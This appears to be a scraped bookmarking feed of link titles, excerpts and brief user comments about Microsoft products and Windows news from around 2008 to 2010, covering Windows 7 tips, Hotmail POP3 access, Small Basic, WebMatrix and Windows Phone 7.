Sometimes you have to use Windows. Supporting clients in multiple-OS environments makes this a necessity for some Mac users, while others want to run applications that are available in Windows only. You can get a preview of the latest flavor of Windows, Windows 7, by running Release Candidate 1 of the new OS either in a virtual environment such as VMWare Fusion, Parallels, or VirtualBox, or in Apple's own Boot Camp. Christina did a thorough rundown of the options for running Win 7 on Mac back in January.bitquabit - Zombie Operating Systems and ASP.NET MVC
That is M$ backwards compatibility for you! LOL.
Funny, and sad... "And that is why, in 2009, when developing in Microsoft .NET 3.5 for ASP.NET MVC 1.0 on a Windows 7 system, you cannot include /com\d(\..*)?, /lpt\d(\..*)?, /con(\..*)?, /aux(\..*)?, /prn(\..*)?, or /nul(\..*)? in any of your routes."
Hotma窓の杜 - 【特集】無料サービス“Windows Live Sync”で複数PCのファイルをらくらく同期！
Windows Live Sync
サーバ上にはファイルを保管してくれない。 そのかわりに容量制限なしで同期。Secure Your Vista PC in 10 Easy Steps - Business Center - PC World
Msoft fix it center from Gizmo
HmmmWindows Live: Hotmail Enables POP3 for U.S. Users
Pop3 settings for Hotmail
POP3 access for Hotmail
Microsoft has been rolling out POP3 importing access to a number of countries since mid-January, including Canada, the U.K., most of western Europe, and elsewhere. The details you need to plug into your mail client or other webmail account, though, should be the same. Here's the list, as posted by the Windows Live team:Docs
It’s been about six months since Windows 7 hit the market, so we figure most of our readers have made their upgrades. For those who’ve made that jump, we present a bottle of our favorite Windows 7 tips, each designed to help you extract the very last bits of convenience and GUI-navigating performance from your own personal dream machine. And if you haven’t yet upgraded to Win7, we trust you will after reading this article, as its core features—let alone its actual Lab-benchmarked performance—kicks Vista and XP ass.
Your OS drives your whole PC experience, so it's your job as an enthusiast to keep it in a high state of tune
It’s been about six months since Windows 7 hit the market, so we figure most of our readers have made their upgrades. For those who’ve made that jump, we present a bottle of our favorite Windows 7 tips, each designed to help you extract the very last bits of convenience and GUI-navigating performance from your own personal dream machine. And if you haven’t yet upgraded to Win7, we trust you will after reading this article, as its core features—let alone its actual Lab-benchmarked performance—kicks Vista and XP ass. We close out our tuning session with a tip designed to supercharge the process of installing the OS. By loading Windows 7 onto a USB key, and making that key a bootable drive, you can do an end-run around slow optical-drive technology and install your OS in (pardon the pun) a flash. It’s time to get started. Park your computer, but don’t shut down. This is one PC tune-up that can only be done with your engine running.19 Tips Every Windows 7 User Needs To Know - windows 7 - Gizmodo
ialog is history
19 Tips Every Windows 7 User Needs To Know - windows 7 - Gizmodo http://bit.ly/d1WfsRSlashdot | How To Diagnose a Suddenly Slow Windows Computer?
How To Diagnose a Suddenly Slow Windows Computer? -- article related to Ask Slashdot, Windows, and IT.
Interesting, most of the comments are related to a soon to fail HD (with suggestions to test it)Photosynth Blog
incroyable images 3d photos en cascades
Millions of Photos, Billions of FLOPs Here are the key stats from Photosynth's first year. They're accurate to within a few percent, with the exception of the FLOPs number which is only accurate to an order of magnitude. 422,508 synths created 15,880,950 photos synthed and uploaded 15,541,978,306 3D points in all point clouds combined (15.6 billion) 26,445,915,945,733,700 number of floating point operations performed in all computations (26 quadrillion) 8,979,357,357 peak simultaneous FLOPs of all computations (8.9 GigaFLOPs) 472,000 peak synths viewed per dayEnemy Lurks in Briefings on Afghan War - PowerPoint - NYTimes.com
“It’s dangerous because it can create the illusion of understanding and the illusion of control... Some problems in the world are not bullet-izable.” --Brig. Gen. H. R. McMaster
"Gen. Stanley A. McChrystal, the leader of American and NATO forces in Afghanistan, was shown a PowerPoint slide in Kabul last summer that was meant to portray the complexity of American military strategy, but looked more like a bowl of spaghetti.... 'When we understand that slide, we’ll have won the war,' General McChrystal dryly remarked, one of his advisers recalled, as the room erupted in laughter...."Windows XP簡単ディスク・ダイエット術 11のポイント － ＠IT
Settings for pop3 on live.com
The Windows Live team announces that POP3 access to Hotmail has been enabled worldwide, finally ending years of your email being trapped behind Microsoft apps. They've been rolling out these changes for a while now, with the US finally getting access last month, but POP3 access is finally available to everybody. Setting it up is fairly simple in most email applications—just create a new account using the following details from the Windows Live team:Small Basic Teaches Kids How to Program - ReadWriteWeb
Язык в 14 слов, 62 страницы инструкций
ReadWriteWeb ReadWriteTalk Enterprise Jobwire About Subscribe Contact Advertise RSS RWW Daily by Email RSS RWW Weekly Wrap-up Home Products Trends Company Index Best of RWW Archives Small Basic Teaches Kids How to Program Written by Lidija Davis / November 8, 2008 11:54 AM / 22 Comments « Prior Post Next Post » After a year in the making, and with very little fanfare, Microsoft last month launched Small Basic, a free programming language aimed at kids. Unlike Scratch and Alice, tools designed for kids to learn programming in a 'codeless' environment, Small Basic is essentially a small version of the BASIC language. Drawing inspiration from the original BASIC language, but based on the newer .Net Framework, Small Basic consists of three distinct pieces: The Language Consists of just 14 keywords, Small Basic is pure imperative code that runs on the .Net Framework. The Environment Small Basic's development environment is simple but provides features that professional developers hFeatured Windows Download: Small Basic Teaches Programming Fundamentals
Small Basic Teaches Programming FundamentalsWindows 7: How to Get Your Windows 7 Beta Product Key
windows 7 beta product key
Reading: Windows 7: How to Get Your Windows 7 Beta Product Key http://tinyurl.com/7d9b62 [from http://twitter.com/brandontruong/statuses/1122427047]Microsoft Education Competencies: Humor
Via Ben Goldacre
Nice page about the use of humor within education
How to be funny. By Microsoft. http://www.microsoft.com/education/competencies/humor.mspx (via Tweep whose name I forgot) #fb
I'm pretty sure this is not ironic: corporate education on humour, including a grading system and ideas for professional development.thirteen23 :: *chirp :: wpf touch screen design and development
@VivienBarousse Chirp ! http://tinyurl.com/athb6f [from http://twitter.com/thomasgoubin/statuses/1338666579]
A twitter app for WindowsMicrosoft’s ‘I’m a PC’ Ads Created On Macs — RoughlyDrafted Magazine
Haha are PCs that great? Then why aren't they editing the Windows commercials on Windows?
Heh, irony (if true)
Tonya: The Daddy Panel of blogs?How to Get the Best of Both Google Docs and Microsoft Office - Microsoft Office - Lifehacker
Microsoft Office 2010 is about to be released, and you aren't sure if you should upgrade or switch to Google Docs. But have you considered using the best features of both, together? Today we'll run down how to do just that. Below we'll detail when Google Docs is a better tool for a task than Office (and vice versa), highlight methods for keeping your Office documents in sync with Google Docs online so you can enjoy both offline desktop access and anywhere online access, and more.8 Websites Every Microsoft .NET Developer Should Know About | MakeUseOf.com
There are currently millions of developers worldwide that are using Microsoft.NET technologies. If you are one of them or want to become one, then each of theThe Microsoft Office Word Team's Blog : Word Throwback “Just Write” Edition
I'm a fan of Tim Ferris , author of The Four Hour Work Week . Given this, you can imagine my horror when I found out via this video that Tim doesn't do much of his text editing in Word. Not big on documents (in the traditional sense of the word) and more
We know that some folks have a very discrete writing process. They write, then they edit, and then they review/format/finalize. If you want to "just write," and minimize any possible distractions, you've got a couple of options before ditching Word.
I'm a fan of Tim Ferris, author of The Four Hour Work Week. Given this, you can imagine my horror when I found out via this video that Tim doesn't do much of his text editing in Word. Not big on documents (in the traditional sense of the word) and more about simply composing text for blogs etc, Tim is a fan of a very basic text editor that emulates the word processors of yore. Also, living his message of laser sharp focus on "major tasks," Tim is all about writing, and only writing. We're talking black screen, green text, no "distracting" buttons etc.Outlook 2007: Use Google Reader from Within Outlook
Helpful hints from Lifehacker...
Use Google Reader from Within Outlook: http://tinyurl.com/cbr63j #rss #reader #google #outlook [from http://twitter.com/pavsaund/statuses/1573336693]
Reader David writes in with a useful tip for consolidating windows—he embeds Google Reader into Outlook as a replacement for the built-in RSS support.Bring Down IE 6: Calling time on IE6
More of the same. It must be done.
yes please!DaVinci (Microsoft Surface Physics Illustrator) on Vimeo
Looks pretty responsive and very fun.
multi touch table met echte physics werkingDeep inside the Windows 7 Public Beta: an in-depth tour: Page 1
Let's just cut to the chase here: Windows 7 is built on top of Windows Vista. It doesn't roll back the major changes that Vista made; it doesn't reduce system requirements
Interesting article on thevarious major changes in the Windows 7 UI. I have to agree that most of it is for the better.Brier Dudley's blog | Microsoft debuts Vine in Seattle: Twitter+Facebook on steroids | Seattle Times Newspaper
Thanks to my very good friend @ikepigott, I heard about this Microsoft Vine project. It looks like a social networking aggregrator service that pulls information from tens of thousands of traditional media sources, as well as new media (your facebook and twitter friends for example) and presents it in a dashboard fashion. The new part is that it allows you to send alerts to groups of people you've identified in your social network (online and offline). They're pushing it out to the emergency management field now as beta testers. I just installed my copy tonight and will start playing around with it. If it looks useful, I'll be sure to post on it.
"Vine is a hyperlocal, personalized message and alert system. It's intended to be a dashboard that people can use to keep tabs of their family, friends, activities and major events in their community."
Twitter+Facebook on steroids?
Vine is a hyperlocal, personalized message and alert system. It's intended to be a dashboard that people can use to keep tabs of their family, friends, activities and major events in their community. The dashboard -- which appears as a widget on a PC screen -- displays a map of the user's community and the status of their contacts.
It’s the most secure distribution version of Windows XP ever produced by Microsoft: More than 600 settings are locked down tight, and critical security patches can be installed in an average of 72 hours instead of 57 days. The only problem is, you have to join the Air Force to get it. The Air Force persuaded Microsoft CEO Steve Ballmer to provide it with a secure Windows configuration that saved the service about $100 million in contract costs and countless hours of maintenance. At a congressional hearing this week on cybersecurity, Alan Paller, research director of the Sans Institute, shared the story as a template for how the government could use its massive purchasing power to get companies to produce more secure products. And those could eventually be available to the rest of us.
Could be pretty cool.
officials are already trying to glean information from services such as Twitter and Facebook, but it's challenging because they're basically sending limited streams of text. Vine "provides an avenue to consolidate some of that information and analyze it in a more comprehensive way." "The underlying technology, where it provides a more structured data form, will long-term be a very valuable asset, whether it's generated from Microsoft or others,'' he said. Seattle is the first place Vine will be publicly available. During a testing period that begins today, people can sign up at www.vine.net to be among more than 10,000 testers the company hopes to enlist. Similar tests will begin shortly in a rural community in the Midwest and an isolated island community, the locations of which haven't been disclosed yet.Microsoft Office Comes to the Browser (Finally) - ReadWriteWeb
Annotated link http://www.diigo.com/bookmark/http%3A%2F%2Fwww.readwriteweb.com%2Farchives%2Fmicrosoft_office_comes_to_browser.php
Microsoft announced this morning at its PDC conference that the next release of Microsoft Office will include browser-based versions of some of its main office software products - Word, Excel, PowerPoint and OneNote. These will be "lightweight versions", but Microsoft told us yesterday that they'll still have rich functionality and will be comparable to Google's suite of online office applications. The apps will enable users to create, edit and collaborate on Microsoft Office documents through the browser.
Microsoft announced this morning at its PDC conference that the next release of Microsoft Office will include browser-based versions of some of its main office software products - Word, Excel, PowerPoint and OneNote. Annotated link http://www.diigo.com/bookmark/http%3A%2F%2Fwww.readwriteweb.com%2Farchives%2Fmicrosoft_office_comes_to_browser.php
Microsoft announced this morning at its PDC conference that the next release of Microsoft Office will include browser-based versions of some of its main office software products - Word, Excel, PowerPoint and OneNote. These will be "lightweight versions", but Microsoft told us yesterday that they'll still have rich functionality and will be comparable to Google's suite of online office applications. The apps will enable users to create, edit and collaborate on Microsoft Office documents through the browser. The apps will work in IE, Firefox and Safari browsers (no word on whether Google Chrome will be supported).Chrome antics: did Google reverse-engineer Windows?: Page 1
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"The whole experience was probably best summed up by Amanda who, when asked why it was taking us so long to get the machine up and running, and why we all looked so unhappy, replied 'Oh, it’s just so…Microsofty.'"
Basking in the glow from our brand-new tabletop touch screen computer, we are greeted with…. not a glossy “welcome” montage, but a standard, legal disclaimer that asks if we accept the terms & conditions.
On using a Microsoft Surface for the first time.
this guy thinks the way I do
On setting up a new Microsoft Surface touch-screen, "no keyboard or mouse" computer, and discovering (among other issues, like where the power cord goes, or what color 'rhodamine' is), that one 'undocumented feature' is that a keyboard and mouse are required to boot the thing: "The whole experience was probably best summed up by Amanda who, when asked why it was taking us so long to get the machine up and running, and why we all looked so unhappy, replied 'Oh, it's just so...Microsofty.'"
Gordon Miller går gjennom den frustrerende opplevelsen det er å sette opp Microsoft Surface.Exclusive Interview: Microsoft Admits What Went Wrong with Vista, and How They Fixed It | Maximum PC
We sat down with Microsoft to hear the company’s side of the Vista story. What lessons have been learned following the worstWindows launch in the company’s history? Is Microsoft doing enough to regain PC users’ faith?Way back in January 2007, after years of hype and anticipation, Microsoft unveiled Windows Vista to a decidedly lukewarm reception by the PC community, IT pros, and tech journalists alike. Instead of a revolutionary next-generation OS that was chock-full of new features, the Windows community got an underwhelming rehash with very little going for it. Oh, and Vista was plagued with performance and incompatibility problems to boot.
I think this article sums up how i felt abt vista too..Windows in 1983
Google has conducted internal tests, according to people familiar with them, in which the company put its logo and treatment on another engine's search results. Users still prefer the results with the Google logo, even if they're not Google results.
Consider that Google has conducted internal tests, according to people familiar with them, in which the company put its logo and treatment on another engine's search results. Users still prefer the results with the Google logo, even if they're not Google results. Or consider that a revamped Ask.com made its debut in 2007 to a glowing review from The Wall Street Journal's Walt Mossberg, who said it "holds its own with Google, and even beats the champ on some searches." Two years later? Ask's share of search is down 28%.jQuery Globalization Plugin from Microsoft - ScottGu's Blog
Plugin lanzado por microsoft que permite trabajar con i18n y jquery. Muy bueno
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jQuery Templates and Data LinkingFT.com / Technology - Google ditches Windows on security concerns
"Google is phasing out the internal use of Microsoft’s ubiquitous Windows operating system because of security concerns, according to several Google employees."
The problem is two-fold. technology and person. switching to a more secure operating system doesn't fully shield you from some idiot clicking on a url from an IM chat
Google is phasing out the internal use of Microsoft’s ubiquitous Windows operating system because of security concerns, according to several Google employees. The directive to move to other operating systems began in earnest in January, after Google’s Chinese operations were hacked, and could effectively end the use of Windows at Google, which employs more than 10,000 workers internationally.
Internal directive follows China hacking
quote:Employees said it was also an effort to run the company on Google’s own products, including its forthcoming Chrome OS, which will compete with Windows. “A lot of it is an effort to run things on Google product,” the employee said. “They want to run things on Chrome.” The hacking in China hastened the move.
Google is phasing out the internal use of Microsoft’s ubiquitous Windows operating system because of security concerns, according to several Google employees.Docs
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Net developers: Another option for local web development: IIS ExpressWindows 8 Plans Leaked: Numerous Details Revealed | Windows 8, Windows Phone 8, Office 15 | Stephen Chapman @ MSFTKitchen
Over the weekend, the Italian Windows site “Windowsette” got a hold of some super secret squirrel Microsoft presentations apparently laying around on the internet somewhere. I took a look through every single one of these, slide-by-slide, so I’m quite confident these are the real deal. I Windows 8 Developer Market No surprise here that Microsoft’s addressable developer market for Windows 8 spans from hobbyist/non-professional developers to professional developers to science, technology, engineering, and math developers:
A big thanks to @floo1989 for the heads-up! Over the weekend, the Italian Windows site Windowsette got a hold of some super secret squirrel
Está suuuper interesante esta presentación "filtrada" sobre planes para Windows 8: AppStore, Reset de apps, etc. http://is.gd/d8duw [from http://twitter.com/dariuus/statuses/17287173249]Top 10 Free Microsoft Products Worth Checking Out
I'm not a geek video fanboy at all, but i pretty much enjoy this one.
Wow, Java 4-Ever must have taken some real time to produce! http://jz10.java.no/java-4-ever-trailer.html – Dion Almaer (dalmaer) http://twitter.com/dalmaer/statuses/17706723274Introducing “Razor” – a new view engine for ASP.NET - ScottGu's Blog
"Introducing Razor – a new view engine for ASP.NET" by @scottgu #tech #aspnetmvc http://bit.ly/biXgKC – Elijah Manor (elijahmanor) http://twitter.com/elijahmanor/statuses/17865462148Microsoft WebMatrix
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Kit gratuito de Microsoft incluyendo todo lo necesario para crear webs en Windows.
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WebMatrix is a 15MB download (50MB if you don’t have .NET 4 installed) and is quick to install. The 15MB download includes a lightweight development tool, IIS Express, SQL Compact Edition, and a set of ASP.NET extensions that enable you to build standalone ASP.NET Pages using the new Razor syntax, as well as a set of easy to use database and HTML helpers for performing common web-tasks. WebMatrix can be installed side-by-side with Visual Studio 2010 and Visual Web Developer 2010 Express.Introducing WebMatrix - ScottGu's Blog
You might already know these, but they're useful none the less.Windows Phone 7 in-depth preview -- Engadget
Does look cool. Glad to see them innovating rather than just copying Apple.
crap! windows phone 7 doesn't sound horrible :( http://www.engadget.com/2010/07/19/windows-phone-7-in-depth-preview/
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@mehuldadhania WinMo7 still has problems http://thegvrv.com/s/e Android rocks with Enterprise app syncing. Effortless.